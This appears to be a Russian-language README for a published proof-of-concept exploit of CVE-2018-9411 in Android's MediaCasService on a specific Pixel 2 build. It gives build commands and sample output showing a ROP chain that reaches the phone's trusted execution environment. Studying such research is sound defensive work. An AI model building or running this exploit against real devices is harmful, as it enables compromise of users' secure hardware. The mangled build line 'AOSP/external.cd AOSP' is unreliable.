
Эксплойт-код для CVE-2018-9411 для MediaCasService
Эксплойт-код для CVE-2018-9411 для MediaCasService.
Обратите внимание, что этот эксплойт предоставляется исключительно в образовательных или защитных целях; он не предназначен для каких-либо вредоносных или атакующих действий.
Полное описание уязвимости и эксплойта доступно в блоге Zimperium.
Если у вас есть вопросы, вы можете написать мне в Twitter (@tamir_zb).
Примечание: этот эксплойт предназначен для работы только на конкретном устройстве и сборке — Pixel 2 с обновлением безопасности за май 2018 года (отпечаток: google/walleye/walleye:8.1.0/OPM2.171019.029.B1/4720900:user/release-keys).
Чтобы собрать это:
AOSP/external.cd AOSP
source build/envsetup.sh
make cas_exploit
Успешный запуск этого эксплойта должен дать доступ к устройству TEE, что будет продемонстрировано получением версии QSEOS.
Пример вывода эксплойта:
[+] Prepared descrambler object
[+] Determined small heap address (address = 0xec9d8000)
[+] Prepared remote threads
[+] Found target thread (stack address = 0xeb42b000, libc address = 0xec51d000)
[+] Copied data for ROP chain
[+] ROP stack written
[+] Running ROP chain...
[+] QSEOS version = 0x14